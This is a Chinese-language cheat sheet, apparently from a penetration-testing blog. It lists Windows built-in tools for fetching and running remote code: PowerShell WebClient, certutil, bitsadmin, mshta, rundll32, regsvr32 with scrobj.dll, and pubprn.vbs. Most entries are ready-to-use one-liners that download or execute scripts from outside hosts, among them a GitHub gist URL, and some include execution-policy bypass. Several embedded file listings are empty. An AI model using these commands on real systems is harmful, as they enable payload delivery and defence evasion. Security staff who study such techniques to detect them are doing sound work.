Powershell
Powershell一般情况有策略限制可以通过更改执行策略或绕过来执行
1 | Get-ExecutionPolicy 查看执行策略 |
1 | client = new-object System.Net.WebClient |
1 | powershell(new-object System.Net.WebClient).DownloadFile('url','path') |
IPC$
1 | copy \\192.168.1.\file path |
certutil
1 | certutil -urlcache -split -f url filename |
bitsadmin
1 | bitsadmin /transfer n url path |
msiexec
1 | 先生成msi文件 |
IEExec
1 | IEExec自行在.net安装目录中找 |
mshta
1 | mshta http://192.168.1.1/run.hta |
run.hta
1 | <HTML> |
mshta执行vbscript
1 | mshta vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close) |
mshta执行javascript
1 | mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);} |
rundll32
1 | rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://192.168.1.1/calc.wsc") |
calc.wsc
1 |
|
rundll32执行hta
1 | rundll32.exe url.dll,OpenURL "calc.hta" |
calc.hta
1 | <html><head><script> |
rundll32执行url
1 | rundll32.exe ieframe.dll, OpenURL <本地URL 文件路径> |
regsvr32
1 | regsvr32 /u /s /i:http://192.168.1.1/test.png scrobj.dll |
test.png
1 |
|
pubprn.vbs
1 | cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct |
未完待续